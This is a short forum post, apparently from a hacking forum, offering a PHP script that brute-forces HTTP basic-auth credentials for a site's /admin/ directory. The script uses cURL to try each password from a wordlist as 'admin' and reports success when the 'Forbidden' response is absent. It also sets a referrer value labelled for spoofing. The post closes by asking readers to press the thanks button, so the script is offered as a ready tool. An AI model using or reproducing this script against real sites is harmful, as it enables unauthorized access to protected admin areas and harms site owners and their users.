Code:
<?php  $url = "http://www.example.com/admin/";         // Set the URL tobe bruteforced $ref = "http://www.example.com/index.php";      // Set the referrer to spoof  $denied = "Forbidden";                         // Set the "Denied" output  $wordlist = "/var/www/wordlist.txt";            // Set the wordlist location  set_time_limit( 0 );                           // Set script execution limit. 0 = no limit   $ch = curl_init( );                            // Initialise cURL curl_setopt( $ch, CURLOPT_URL,             $url ); // Set URL as $url curl_setopt( $ch, CURLOPT_RETURNTRANSFER,   1   ); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION,   1   ); // Set FOLLOWLOCATION to TRUE  foreach( file( $wordlist ) as$password )       // Start the loop for dictionary attack {    $force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,    curl_setopt( $ch, CURLOPT_URL,$force );      // Load the URL to attack with cURL    $check = curl_exec( $ch );                 // Set params to check    if( !eregi( $denied, $check ) )            // Check to see if $deniedis not in page    {        die( "Success! The passwordis: {$password}" ); // If $denied returns false, success    } } curl_close( $ch );                             // Close the cURL process ?>
press thanks button guys